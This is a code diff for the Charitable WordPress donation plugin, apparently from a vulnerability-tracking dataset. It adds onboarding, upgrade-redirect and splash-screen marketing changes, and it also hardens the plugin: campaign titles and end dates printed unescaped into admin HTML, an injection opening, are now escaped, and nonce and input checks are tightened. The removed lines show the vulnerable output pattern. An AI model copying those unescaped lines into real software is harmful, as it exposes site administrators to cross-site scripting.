), + 'upgrade_url' => charitable_admin_upgrade_link( 'Campaign+Builder+Form+Panel+Modal' ), + ), 'charitable_license_label' => esc_html( Charitable_Licenses_Settings::get_instance()->get_license_label_from_plan_id() ), 'charitable_form_name' => $campaign_name, 'charitable_assets_dir' => apply_filters( @@ -1156,6 +1172,7 @@ * Load panels. * * @since 1.0.0 + * @version 1.8.10.5 Added Form panel (Lite upgrade-prompt stub). */ public function load_panels() { @@ -1176,6 +1193,7 @@ array( 'template', 'design', + 'form', 'settings', 'marketing', 'payment', Only in /home/deploy/wp-safety.org/data/plugin-versions/charitable/1.8.10.5/includes/admin/campaign-builder/panels: class-form.php @@ -1208,13 +1208,23 @@ // attempt to activate the installed addon, save the user a step. $activate = activate_plugins( $plugin_basename ); if ( ! is_wp_error( $activate ) ) { - wp_send_json_success( - array( - 'basename' => $plugin_basename, - 'is_activated' => true, - 'msg' => esc_html__( 'Addon installed and activated.', 'charitable' ), - ) + $response = array( + 'basename' => $plugin_basename, + 'is_activated' => true, + 'msg' => esc_html__( 'Addon installed and activated.', 'charitable' ), ); + + // When Charitable Pro is what was just installed and activated, point + // the user at the Charitable dashboard. Activating Pro auto-deactivates + // Lite, which means the addons screen they're currently on (served by + // Lite) no longer exists in the menu — without a redirect they'd land + // on a 404 / blank admin page once the AJAX returns. Pro's main file + // lives at charitable-pro/charitable.php, so we match by directory. + if ( 0 === strpos( $plugin_basename, 'charitable-pro/' ) ) { + $response['redirect'] = admin_url( 'admin.php?page=charitable-dashboard' ); + } + + wp_send_json_success( $response ); } else { wp_send_json_success( array( @@ -1530,6 +1540,22 @@ // add a 'dismissed' key to the notification with the current time. $notifications[ $notification_id ]['dismissed'] = time(); update_option( 'charitable_dashboard_notifications', $notifications ); + + /** + * Fires after a dashboard rail notification has been dismissed. + * + * Listeners can attach side effects keyed off the dismissed slug — + * e.g. the resume-setup-wizard module clears + * `charitable_started_onboarding` when its banner is dismissed, + * so the underlying onboarding state is also turned off, not just + * the banner. + * + * @since 1.8.10.5 + * + * @param string $notification_id Slug of the dismissed notification. + */ + do_action( 'charitable_dashboard_notification_dismissed', $notification_id ); + wp_send_json_success( array( 'message' => esc_html__( 'Notification removed.', 'charitable' ) ) ); } else { wp_send_json_error( array( 'message' => esc_html__( 'Notification not found.', 'charitable' ) ) ); @@ -569,7 +569,7 @@ if ( ! is_null( $screen ) && ( $screen->id === 'charitable_page_charitable-reports' || $screen->id === 'charitable_page_charitable-dashboard' ) ) { // Specific styles for the "overview" and main reporting tabs. - if ( empty( $_GET['tab'] ) || ( ! empty( $_GET['tab'] && charitable_reports_allow_tab_load_scripts( strtolower( $_GET['tab'] ) ) ) ) ) { // phpcs:ignore + if ( empty( $_GET['tab'] ) || ( ! empty( $_GET['tab'] ) && charitable_reports_allow_tab_load_scripts( strtolower( sanitize_text_field( wp_unslash( $_GET['tab'] ) ) ) ) ) ) { // phpcs:ignore wp_register_script( 'charitable-apex-charts', @@ -619,7 +619,7 @@ wp_enqueue_script( 'charitable-report-date-range-picker' ); wp_enqueue_script( 'charitable-reporting' ); - } else if ( ! empty( $_GET['tab'] && 'analytics' === $_GET['tab'] ) ) { // phpcs:ignore + } elseif ( ! empty( $_GET['tab'] ) && 'analytics' === $_GET['tab'] ) { // phpcs:ignore // this loads a specific script for the analytics tab. do_action( 'charitable_admin_enqueue_analytics_scripts' ); @@ -1258,7 +1258,7 @@ */ public function export_donations() { - if ( ! wp_verify_nonce( $_GET['_charitable_export_nonce'], 'charitable_export_donations' ) ) { // phpcs:ignore + if ( ! isset( $_GET['_charitable_export_nonce'] ) || ! wp_verify_nonce( $_GET['_charitable_export_nonce'], 'charitable_export_donations' ) ) { // phpcs:ignore return false; } @@ -1581,6 +1581,20 @@ wp_send_json_success( array( 'form' => $form ) ); } + // Snapshot installed plugins BEFORE the install so we can identify what + // was actually unzipped. The legacy slug-derivation in + // charitable_get_plugin_basename_from_slug() reduces a download URL like + // `…/charitable-pro-plugin-1.8.13.5.zip` to the slug + // `charitable-pro-plugin-1.8.13.5`, then expects an installed plugin + // directory whose name *starts* with that slug — which doesn't hold for + // any addon whose zip filename includes a version suffix and whose + // directory does not (e.g. Charitable Pro lives at `charitable-pro/`). + // The before/after diff sidesteps that mismatch entirely. + if ( ! function_exists( 'get_plugins' ) ) { + require_once ABSPATH . 'wp-admin/includes/plugin.php'; + } + $plugins_before = array_keys( get_plugins() ); + // Download and install the plugin. $result = charitable_install_wporg_plugin( $plugin ); @@ -1588,11 +1602,21 @@ wp_send_json_error( $result->get_error_message() ); } - // Get plugin basename. - $plugin_basename = charitable_get_plugin_basename_from_slug( $plugin ); + // Force a fresh re-scan of the plugins directory and compute the diff. + wp_cache_delete( 'plugins', 'plugins' ); + $plugins_after = array_keys( get_plugins() ); + $newly_installed = array_values( array_diff( $plugins_after, $plugins_before ) ); + + if ( ! empty( $newly_installed ) ) { + $plugin_basename = $newly_installed[0]; + } else { + // Fallback to the legacy slug-derived guess if for some reason no new + // plugin was detected (e.g. the zip overwrote an existing install). + $plugin_basename = charitable_get_plugin_basename_from_slug( $plugin ); + } wp_send_json_success( array( - 'msg' => 'Plugin installed successfully', + 'msg' => __( 'Plugin installed successfully', 'charitable' ), 'basename' => $plugin_basename, 'is_activated' => false, ) ); @@ -1635,7 +1659,17 @@ wp_send_json_error( $result->get_error_message() ); } - wp_send_json_success( 'Plugin activated successfully' ); + $response = array( 'msg' => __( 'Plugin activated successfully', 'charitable' ) ); + + // Activating Charitable Pro auto-deactivates Charitable Lite, which means + // the screen the user came from (page=charitable-addons, served by Lite) + // no longer exists in the menu. Redirect them to the Charitable dashboard + // so they don't land on a 404 / blank admin page after the AJAX returns. + if ( 0 === strpos( $plugin, 'charitable-pro/' ) ) { + $response['redirect'] = admin_url( 'admin.php?page=charitable-dashboard' ); + } + + wp_send_json_success( $response ); } /** @@ -97,9 +97,10 @@ $clear_cache = ( isset( $_GET['charitable_clear_stats_cache'] ) && '1' === $_GET['charitable_clear_stats_cache'] ) || ( isset( $_POST['charitable_clear_stats_cache'] ) && '1' === $_POST['charitable_clear_stats_cache'] ); + $response_data = array(); + if ( $clear_cache ) { // phpcs:ignore $charitable_dashboard->clear_dashboard_stats_cache(); - // Add a flag to indicate cache was cleared $response_data['cache_cleared'] = true; } @@ -135,10 +136,10 @@ ); // Prepare response data. - $response_data = array( + $response_data = array_merge( $response_data, array( 'stats' => $stats, 'chart' => $chart_data, - ); + ) ); wp_send_json_success( $response_data ); @@ -77,6 +77,52 @@ // Hook into Charitable's cache clearing mechanism add_action( 'charitable_after_clear_expired_options', array( $this, 'clear_dashboard_stats_cache' ) ); + + // Refresh the "resume setup wizard" notification entry just before + // the dashboard rail renders. + add_action( 'charitable_before_admin_dashboard_v2', array( $this, 'sync_resume_wizard_notification' ) ); + } + + /** + * Register or refresh the "resume setup wizard" entry in the dashboard + * notification rail when an onboarding session is in progress; remove + * any stale entry when it isn't. + * + * Fires on `charitable_before_admin_dashboard_v2`, immediately before + * `render_dashboard_notifications()` reads the same option. + * + * @since 1.8.10.5 + * + * @return void + */ + public function sync_resume_wizard_notification() { + + $notifications = (array) get_option( 'charitable_dashboard_notifications', array() ); + $started = 1 === (int) get_option( 'charitable_started_onboarding', 0 ); + $present = isset( $notifications['resume_setup_wizard'] ); + $dismissed = $present && isset( $notifications['resume_setup_wizard']['dismissed'] ); + + if ( $started && ! $dismissed ) { + + $notifications['resume_setup_wizard'] = array( + 'type' => 'notice', + 'priority' => 3, + 'title' => __( 'Finish Setting Up Charitable', 'charitable' ), + 'message' => '<p>' . esc_html__( "Looks like you started the setup wizard but didn't finish. Pick up where you left off and we'll have you ready to accept donations in just a couple more steps.", 'charitable' ) . '</p>', + 'custom_css' => 'charitable-notification-type-notice', + 'button_url' => add_query_arg( array( 'resume' => 'true' ), charitable_get_onboarding_url() ), + 'button_text' => __( 'Resume Setup Wizard', 'charitable' ), + ); + + update_option( 'charitable_dashboard_notifications', $notifications ); + + return; + } + + if ( $present && ! $started ) { + unset( $notifications['resume_setup_wizard'] ); + update_option( 'charitable_dashboard_notifications', $notifications ); + } } @@ -136,6 +136,10 @@ */ public function hooks() { + // Register the resume-banner dismiss listener unconditionally — it + // must fire during admin-ajax, which the guards below bail out of. + add_action( 'charitable_dashboard_notification_dismissed', [ $this, 'maybe_clear_onboarding_state_on_dismiss' ] ); + // If user is in admin ajax or doing cron, return. if ( wp_doing_ajax() || wp_doing_cron() ) { return; @@ -208,15 +212,21 @@ return; } - // Don't redirect if user is on a non-Charitable admin page. - if ( ! empty( $_GET['page'] ) && strpos( $_GET['page'], 'charitable' ) === false ) { + // Don't redirect when the user is on any Charitable admin page + // OTHER than the welcome destination (`?page=charitable`). + // Charitable's sub-pages — `charitable-dashboard`, `charitable-settings-checklist`, + // etc. — each have their own menu_slug, so strict equality keeps the + // redirect scoped to `?page=charitable` itself (which IS the welcome + // screen) rather than yanking the user back from every sub-page. + if ( ! empty( $_GET['page'] ) && is_string( $_GET['page'] ) && 'charitable' !== $_GET['page'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return; } - // Don't redirect from specific WordPress admin pages without page parameter. - $current_page = basename( $_SERVER['PHP_SELF'] ?? '' ); - $wp_admin_pages = array( 'edit.php', 'post-new.php', 'upload.php', 'users.php', 'edit-tags.php', 'edit-comments.php', 'themes.php', 'plugins.php', 'tools.php', 'options-general.php' ); - if ( in_array( $current_page, $wp_admin_pages ) ) { + // Don't redirect from standard WordPress admin scripts that don't + // use a `?page=` parameter (e.g. the WP Dashboard, CPT lists, media library). + $current_page = basename( $_SERVER['PHP_SELF'] ?? '' ); + $wp_admin_pages = array( 'index.php', 'edit.php', 'post-new.php', 'upload.php', 'users.php', 'edit-tags.php', 'edit-comments.php', 'themes.php', 'plugins.php', 'tools.php', 'options-general.php' ); + if ( in_array( $current_page, $wp_admin_pages, true ) ) { return; } @@ -236,13 +246,41 @@ } // Build the URL for going back to the onboarding process. - $onboarding_url = 'https://app.wpcharitable.com/setup-wizard-charitable_lite&resume=' . charitable_get_site_token(); + $onboarding_url = add_query_arg( array( 'resume' => 'true' ), charitable_get_onboarding_url() ); wp_safe_redirect( admin_url( 'admin.php?page=charitable&wpchar_lite=lite&setup=welcome&resume=true' ) ); exit; } /** + * Clear the in-progress onboarding flag when the user dismisses the + * dashboard "resume setup wizard" banner. + * + * Triggered by the existing notification rail's dismiss AJAX. The + * action fires for ALL dismissed notifications, so we filter on slug + * here. + * + * Net effect: dismissing the banner ends the resume prompt everywhere. + * The banner is gone (the rail's existing dismissed-key filter handles + * that), and the `?page=charitable` resume redirect also defuses + * because it keys off the same option we delete here. + * + * @since 1.8.10.5 + * + * @param string $notification_id Slug of the dismissed notification. + * + * @return void + */ + public function maybe_clear_onboarding_state_on_dismiss( $notification_id ) { + + if ( 'resume_setup_wizard' !== $notification_id ) { + return; + } + + delete_option( 'charitable_started_onboarding' ); + } + + /** * Onboarding welcome screen redirect. * * This function checks if a new install or update has just occurred. If so, @@ -375,7 +375,7 @@ <p class="cr"><?php echo esc_html__( 'Goal', 'charitable' ); ?>: <strong><?php echo charitable_format_money( $donation_goal ); // phpcs:ignore ?></strong></p> <?php endif; ?> <?php if ( $end_date ) : ?> - <p class="cr"><?php echo esc_html__( 'End Date', 'charitable' ); ?>: <strong><?php echo $end_date; // phpcs:ignore ?></strong></p> + <p class="cr"><?php echo esc_html__( 'End Date', 'charitable' ); ?>: <strong><?php echo esc_html( $end_date ); ?></strong></p> <?php endif; ?> </div> </div> @@ -761,13 +761,13 @@ case 'charitable-failed': $admin_campaign_url = ! empty( $activity->campaign_id ) ? charitable_get_admin_campaign_edit_url( $activity->campaign_id ) : '#'; $admin_donation_url = ! empty( $activity->item_id ) ? charitable_get_admin_donation_edit_url( $activity->item_id ) : false; - $campaign_title = ! empty( $activity->campaign_title ) ? ' to <a target="_blank" href="' . $admin_campaign_url . '"><span class="campaign-title">' . $activity->campaign_title . '</span></a> ' : ''; + $campaign_title = ! empty( $activity->campaign_title ) ? ' to <a target="_blank" href="' . $admin_campaign_url . '"><span class="campaign-title">' . esc_html( $activity->campaign_title ) . '</span></a> ' : ''; $secondary_info = $admin_donation_url ? '<p class="charitable-reports-activity-secondary-info amount"><a href="' . $admin_donation_url . '" target="_blank">' . charitable_format_money( $activity->amount, 2, true ) . '</a>' . $campaign_title . '</p>' : '<p class="charitable-reports-activity-secondary-info amount">' . charitable_format_money( $activity->amount, 2, true ) . $campaign_title . '</p>'; break; default: $admin_campaign_url = ! empty( $activity->campaign_id ) ? charitable_get_admin_campaign_edit_url( $activity->campaign_id ) : '#'; $admin_donation_url = ! empty( $activity->item_id ) ? charitable_get_admin_donation_edit_url( $activity->item_id ) : false; - $campaign_title = ! empty( $activity->campaign_title ) ? ' to <a target="_blank" href="' . $admin_campaign_url . '"><span class="campaign-title">' . $activity->campaign_title . '</span></a> ' : ''; + $campaign_title = ! empty( $activity->campaign_title ) ? ' to <a target="_blank" href="' . $admin_campaign_url . '"><span class="campaign-title">' . esc_html( $activity->campaign_title ) . '</span></a> ' : ''; $secondary_info = $admin_donation_url ? '<p class="charitable-reports-activity-secondary-info amount"><a href="' . $admin_donation_url . '" target="_blank">' . charitable_format_money( $activity->amount, 2, true ) . '</a>' . $campaign_title . '</p>' : '<p class="charitable-reports-activity-secondary-info amount">' . charitable_format_money( $activity->amount, 2, true ) . $campaign_title . '</p>'; break; } @@ -790,10 +790,10 @@ switch ( $activity->primary_action ) { case 'update': - $secondary_info = '<p class="campaign-title">' . $activity->campaign_title . '</p>'; + $secondary_info = '<p class="campaign-title">' . esc_html( $activity->campaign_title ) . '</p>'; break; default: - $secondary_info = '<p class="campaign-title">' . $activity->campaign_title . '</p>'; + $secondary_info = '<p class="campaign-title">' . esc_html( $activity->campaign_title ) . '</p>'; break; } @@ -238,6 +238,9 @@ $empty_transient = new \stdClass(); set_site_transient( 'update_plugins', $empty_transient ); // Depreciated item. + // Clear Stripe webhook failure counter so stale notices don't persist after fixing the root cause. + delete_transient( 'charitable_stripe_webhook_verification_failures' ); + // Allow an addon to hook into this. do_action( 'charitable_after_clear_expired_options' ); @@ -234,134 +234,187 @@ public function retrieve_sections_for_user( array $sections = array() ): array { $sections = array( + // Hero: Mini Donation Widget upsell with Vimeo video. + array( + 'new-for-pro' => true, + 'layout' => 'fifty-fifty', + 'class' => 'no-order', + 'title' => __( 'Mini Donation Widget', 'charitable' ), + 'content' => __( 'Embed a compact donation form anywhere on your site, no page redirect required. Add it to sidebars, landing pages, or any widget area using a simple block or shortcode.', 'charitable' ), + 'video' => array( + 'vimeo_id' => '1186687749', + ), + 'buttons' => array( + 'main' => array( + 'text' => __( 'Get Started', 'charitable' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/documentation/mini-donation-widget/', 'splash-modal', 'Mini Donation Widget Main' ), + ), + 'upgrade' => array( + 'text' => __( 'Upgrade to Pro', 'charitable' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/lite-upgrade/', 'splash-modal', 'Mini Donation Widget Upgrade' ), + ), + ), + ), + // 1.8.10 lite headline feature. array( 'new' => true, - 'version' => '1.8.9', - 'layout' => 'fifty-fifty', + 'version' => '1.8.10', + 'layout' => 'one-third-two-thirds', 'class' => 'no-order', - 'title' => __( 'Security Enhancements', 'charitable' ), - 'content' => __( 'Charitable Lite now supports Google reCAPTCHA, hCaptcha, and Cloudflare Turnstile for improved security.', 'charitable' ), + 'title' => __( 'Migration & Import Tools', 'charitable' ), + 'content' => __( 'Move from GiveWP or GiveButter to Charitable in minutes. Expanded import tools include CSV donations import and a new GiveWP Migration Tool (Beta) under a redesigned, tabbed interface.', 'charitable' ), 'img' => array( - 'url' => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-9-security.png', + 'url' => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-10-import-tools.svg', 'shadow' => 'none', ), 'buttons' => array( 'main' => array( 'text' => __( 'Get Started', 'charitable' ), - 'url' => charitable_utm_link( 'https://www.wpcharitable.com/get-started/1-8-9-security/', 'splash-modal', 'Square Widgets Main' ), - ), - 'secondary' => array( - 'text' => __( 'Learn More', 'charitable' ), - 'url' => charitable_utm_link( 'https://www.wpcharitable.com/learn-more/1-8-9-security/', 'splash-modal', 'Square Widgets Secondary' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/how-to-switch-from-givewp-to-charitable/', 'splash-modal', 'Import Tools Main' ), ), ), ), + // 1.8.9 lite security feature (kept). array( 'new' => true, - 'version' => '1.8.8', - 'layout' => 'fifty-fifty', + 'version' => '1.8.9', + 'layout' => 'one-third-two-thirds', 'class' => 'no-order', - 'title' => __( 'New Dashboard!', 'charitable' ), - 'content' => __( 'Charitable now has a new dashboard design with top campaigns, latest donations, top donors, and comments. New "30 Day" period added.', 'charitable' ), + 'title' => __( 'Security Enhancements', 'charitable' ), + 'content' => __( 'Charitable Lite now supports Google reCAPTCHA, hCaptcha, and Cloudflare Turnstile for improved security.', 'charitable' ), 'img' => array( - 'url' => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-8-dashboard.png', + 'url' => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-9-security.svg', 'shadow' => 'none', ), 'buttons' => array( 'main' => array( 'text' => __( 'Get Started', 'charitable' ), - 'url' => charitable_utm_link( 'https://www.wpcharitable.com/get-started/square/', 'splash-modal', 'Square Widgets Main' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/introducing-improved-security-and-clean-donation-tool/', 'splash-modal', 'Security Main' ), + ), + ), + ), + // Pro upsells. + array( + 'new-for-pro' => true, + 'layout' => 'one-third-two-thirds', + 'class' => 'no-order', + 'title' => __( 'Campaign Showcase', 'charitable' ), + 'content' => __( 'Display all your campaigns beautifully with full layout control including grid, list, or masonry. No coding required.', 'charitable' ), + 'img' => array( + 'url' => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-13-campaign-showcase.png', + 'shadow' => 'none', + ), + 'buttons' => array( + 'main' => array( + 'text' => __( 'Get Started', 'charitable' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/campaign-showcase-getting-started/', 'splash-modal', 'Campaign Showcase Main' ), ), - 'secondary' => array( - 'text' => __( 'Learn More', 'charitable' ), - 'url' => charitable_utm_link( 'https://www.wpcharitable.com/learn-more/square/', 'splash-modal', 'Square Widgets Secondary' ), + 'upgrade' => array( + 'text' => __( 'Upgrade to Pro', 'charitable' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/lite-upgrade/', 'splash-modal', 'Campaign Showcase Upgrade' ), ), ), ), array( 'new-for-pro' => true, - 'layout' => 'one-third-two-thirds-flipped', - 'class' => 'no-order', - 'title' => __( 'Advanced Elementor Widgets', 'charitable' ), - 'content' => __( 'When you create pages with the Elementor page builder, you\'ll now find four ready-made Charitable widgets (campaigns, donation button, donation form, campaigns).', 'charitable' ), - 'img' => array( - 'url' => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-8-elementor.png', + 'layout' => 'one-third-two-thirds', + 'class' => 'no-order', + 'title' => __( 'Donations Feed', 'charitable' ), + 'content' => __( 'Display recent donations in beautiful list or card views with sorting, filtering, pagination, and live polling that automatically refreshes when new donations arrive.', 'charitable' ), + 'img' => array( + 'url' => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-13-donate-feed.png', 'shadow' => 'none', ), - 'buttons' => array( + 'buttons' => array( 'main' => array( 'text' => __( 'Get Started', 'charitable' ), - 'url' => charitable_utm_link( 'https://www.wpcharitable.com/documentation/how-to-use-charitable-widgets-in-elementor/', 'splash-modal', 'Elementor Widgets Main' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/donations-feed-getting-started/', 'splash-modal', 'Donations Feed Main' ), ), - 'secondary' => array( - 'text' => __( 'Learn More', 'charitable' ), - 'url' => charitable_utm_link( 'https://www.wpcharitable.com/introducing-charitable-1-8-6-elementor-widgets-reply-to-and-new-splash-screen/', 'splash-modal', 'Elementor Widgets Secondary' ), + 'upgrade' => array( + 'text' => __( 'Upgrade to Pro', 'charitable' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/lite-upgrade/', 'splash-modal', 'Donations Feed Upgrade' ), ), ), ), array( - 'new-addon' => true, - 'layout' => 'one-third-two-thirds', - 'class' => 'no-order', - 'title' => __( 'DonorTrust', 'charitable' ), - 'content' => __( 'Showcase real-time, verified donations to your website visitors and encourage more people to donate to your cause.', 'charitable' ), - 'img' => array( - 'url' => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-8-donortrust.gif', + 'new-for-pro' => true, + 'layout' => 'one-third-two-thirds', + 'class' => 'no-order', + 'title' => __( 'Campaign Modal Button', 'charitable' ), + 'content' => __( 'Add a donate button anywhere on your site that opens a donation form in a modal popup, no page redirect required. Available as a block or shortcode.', 'charitable' ), + 'img' => array( + 'url' => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-13-modal-button.png', 'shadow' => 'none', ), - 'buttons' => array( + 'buttons' => array( 'main' => array( 'text' => __( 'Get Started', 'charitable' ), - 'url' => charitable_utm_link( 'https://www.wpcharitable.com/documentation/charitable-donortrust/', 'splash-modal', 'DonorTrust Main' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/campaign-modal-button-getting-started/', 'splash-modal', 'Campaign Modal Button Main' ), ), - 'secondary' => array( - 'text' => __( 'Learn More', 'charitable' ), - 'url' => charitable_utm_link( 'https://www.wpcharitable.com/introducing-donortrust/', 'splash-modal', 'DonorTrust Secondary' ), + 'upgrade' => array( + 'text' => __( 'Upgrade to Pro', 'charitable' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/lite-upgrade/', 'splash-modal', 'Campaign Modal Button Upgrade' ), ), ), ), array( - 'new-for-pro' => true, - 'layout' => 'one-third-two-thirds-flipped', - 'class' => 'no-order', - 'title' => __( 'More Stripe Options!', 'charitable' ), - 'content' => __( 'Charitable now supports ACH Direct Debit, SEPA Direct Debit, Cash App, and BECS Direct Debit for Stripe users.', 'charitable' ), - 'img' => array( - 'url' => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-8-stripe.png', + 'new-for-pro' => true, + 'layout' => 'one-third-two-thirds', + 'class' => 'no-order', + 'title' => __( 'Prefill Donation Forms', 'charitable' ), + 'content' => __( 'Pre-populate donation form fields via URL query strings. Perfect for email campaigns, targeted landing pages, and personalized donor outreach.', 'charitable' ), + 'img' => array( + 'url' => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-13-prefill-forms.png', 'shadow' => 'none', ), - 'buttons' => array( + 'buttons' => array( 'main' => array( 'text' => __( 'Get Started', 'charitable' ), - 'url' => charitable_utm_link( 'https://www.wpcharitable.com/introducing-charitable-1-8-8/', 'splash-modal', 'Square Widgets Main' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/prefill-donation-forms-getting-started/', 'splash-modal', 'Prefill Donation Forms Main' ), ), - 'secondary' => array( - 'text' => __( 'Learn More', 'charitable' ), - 'url' => charitable_utm_link( 'https://www.wpcharitable.com/introducing-charitable-1-8-8/', 'splash-modal', 'Square Widgets Secondary' ), + 'upgrade' => array( + 'text' => __( 'Upgrade to Pro', 'charitable' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/lite-upgrade/', 'splash-modal', 'Prefill Donation Forms Upgrade' ), ), ), ), array( - 'new-addon' => true, - 'layout' => 'one-third-two-thirds', - 'class' => 'no-order', - 'title' => __( 'Google Analytics', 'charitable' ), - 'content' => __( 'The new Google Analytics addon means you can track your campaign performance and see how your donors are engaging with your campaign.', 'charitable' ), - 'img' => array( - 'url' => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-7-ga.png', + 'new-for-pro' => true, + 'layout' => 'one-third-two-thirds', + 'class' => 'no-order', + 'title' => __( 'Campaign Featured Image', 'charitable' ), + 'content' => __( 'Set your campaign\'s featured image directly from the Campaign Builder. No need to switch to the post editor. Perfect for giving your campaigns a polished, visual identity.', 'charitable' ), + 'img' => array( + 'url' => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-13-featured-image.png', 'shadow' => 'none', ), - 'buttons' => array( + 'buttons' => array( 'main' => array( 'text' => __( 'Get Started', 'charitable' ), - 'url' => charitable_utm_link( 'https://www.wpcharitable.com/get-started/google-analytics/', 'splash-modal', 'GA Main' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/campaign-featured-image-getting-started/', 'splash-modal', 'Campaign Featured Image Main' ), ), - 'secondary' => array( - 'text' => __( 'Learn More', 'charitable' ), - 'url' => charitable_utm_link( 'https://www.wpcharitable.com/learn-more/google-analytics/', 'splash-modal', 'GA Secondary' ), + 'upgrade' => array( + 'text' => __( 'Upgrade to Pro', 'charitable' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/lite-upgrade/', 'splash-modal', 'Campaign Featured Image Upgrade' ), ), ), ), + // Two-column "More Recent Features" list. + array( + 'layout' => 'more-features', + 'class' => 'no-order', + 'title' => __( 'More Recent Features:', 'charitable' ), + 'items' => array( + __( 'Campaign Selector', 'charitable' ), + __( 'Envira Gallery Integration', 'charitable' ), + __( 'Visual Form Builder', 'charitable' ), + __( 'Donor Leaderboards', 'charitable' ), + __( 'Magic Donor Dashboard Link', 'charitable' ), + __( 'DIVI Integration', 'charitable' ), + __( 'DonorTrust', 'charitable' ), + __( 'Google Analytics', 'charitable' ), + ), + ), ); return $sections; @@ -525,20 +578,20 @@ // If the chartiable_pro is active, that means they are licensed but not using Charitable Pro plugin. if ( ! charitable_is_pro() ) : $default_data['footer'] = array( - 'title' => __( 'Add Your License To Activate Charitable Pro Plugin Now!', 'charitable' ), + 'title' => __( 'Add Your License To Activate Charitable Pro Plugin Now And Start Getting More Donations!', 'charitable' ), 'description' => __( 'Charitable Pro is a powerful upgrade that allows you to manage donors along with built-in features like videos, donor comments, PDF receipts, a dashboard for donors, and more.', 'charitable' ), 'upgrade' => array( 'text' => __( 'Learn More', 'charitable' ), - 'url' => charitable_utm_link( 'https://www.wpcharitable.com/introducing-charitable-pro/', 'splash-modal', 'learn-more' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/lite-upgrade/', 'splash-modal', 'learn-more' ), ), ); else : $default_data['footer'] = array( - 'title' => __( 'Thank you for using Charitable Pro!', 'charitable' ), - 'description' => __( 'We hope you love the new features and updates we\'ve made to Charitable Pro. Learn more about the latest updates and improvements.', 'charitable' ), + 'title' => __( 'Upgrade To The Charitable Pro Plugin At No Cost!', 'charitable' ), + 'description' => __( 'Registered users with active license can upgrade to Charitable Pro plugin at NO COST. It\'s included in all plans (basic, plus, pro, elite).', 'charitable' ), 'upgrade' => array( 'text' => __( 'Learn More', 'charitable' ), - 'url' => charitable_utm_link( 'https://www.wpcharitable.com/blog/', 'splash-modal', 'learn-more' ), + 'url' => charitable_utm_link( 'https://www.wpcharitable.com/pricing/upgrade-lite-to-pro/', 'splash-modal', 'learn-more' ), ), ); endif; @@ -3,11 +3,13 @@ * What's New modal section. * * @since 1.8.8 - * @version 1.8.9.1 + * @version 1.8.10.6 * * @var string $title Section title. * @var string $content Section content. * @var array $img Section image. + * @var array $video Section video (Vimeo or mp4). + * @var array $items More-features layout items. * @var string $new Is new feature. * @var array $buttons Section buttons. * @var string $layout Section layout. @@ -29,6 +31,18 @@ // phpcs:enable WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound ?> +<?php if ( 'more-features' === $section['layout'] ) : ?> +<section class="charitable-splash-section charitable-splash-section-more-features"> + <h3><?php echo esc_html( $section['title'] ); ?></h3> + <?php if ( ! empty( $section['items'] ) ) : ?> + <ul class="charitable-splash-more-features-list"> + <?php foreach ( $section['items'] as $item ) : ?> + <li><?php echo esc_html( $item ); ?></li> + <?php endforeach; ?> + </ul> + <?php endif; ?> +</section> +<?php else : ?> <section class="<?php echo esc_attr( $classes_output ); ?>"> <div class="charitable-splash-section-content"> <?php @@ -73,7 +87,13 @@ // phpcs:disable WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound // Local template variables scoped to this foreach loop. foreach ( $section['buttons'] as $button_type => $button ) { - $button_class = $button_type === 'main' ? 'charitable-btn-orange' : 'charitable-btn-bordered'; + if ( 'main' === $button_type ) { + $button_class = 'charitable-btn-orange'; + } elseif ( 'upgrade' === $button_type ) { + $button_class = 'charitable-btn-green'; + } else { + $button_class = 'charitable-btn-bordered'; + } printf( '<a href="%1$s" class="charitable-btn %3$s" target="_blank" rel="noopener noreferrer">%2$s</a>', @@ -88,7 +108,23 @@ <?php endif; ?> </div> - <?php if ( ! empty( $section['img'] ) ) : ?> + <?php if ( ! empty( $section['video'] ) ) : ?> + <div class="charitable-splash-section-image charitable-splash-video-wrap"> + <?php if ( ! empty( $section['video']['vimeo_id'] ) ) : ?> + <?php + // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound -- Local template variable. + $vimeo_id = preg_replace( '/[^0-9]/', '', (string) $section['video']['vimeo_id'] ); + ?> + <div class="charitable-splash-video-embed" + data-vimeo-id="<?php echo esc_attr( $vimeo_id ); ?>" + data-video-title="<?php echo esc_attr( $section['title'] ); ?>"></div> + <?php elseif ( ! empty( $section['video']['url'] ) ) : ?> + <video autoplay muted playsinline controls> + <source src="<?php echo esc_url( $section['video']['url'] ); ?>" type="video/mp4"> + </video> + <?php endif; ?> + </div> + <?php elseif ( ! empty( $section['img'] ) ) : ?> <?php // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound -- Local template variable scoped to this conditional block. $shadow_class = charitable_sanitize_classes( $section['img']['shadow'] ?? 'none' ); @@ -98,3 +134,4 @@ </div> <?php endif; ?> </section> +<?php endif; ?> @@ -146,6 +146,15 @@ 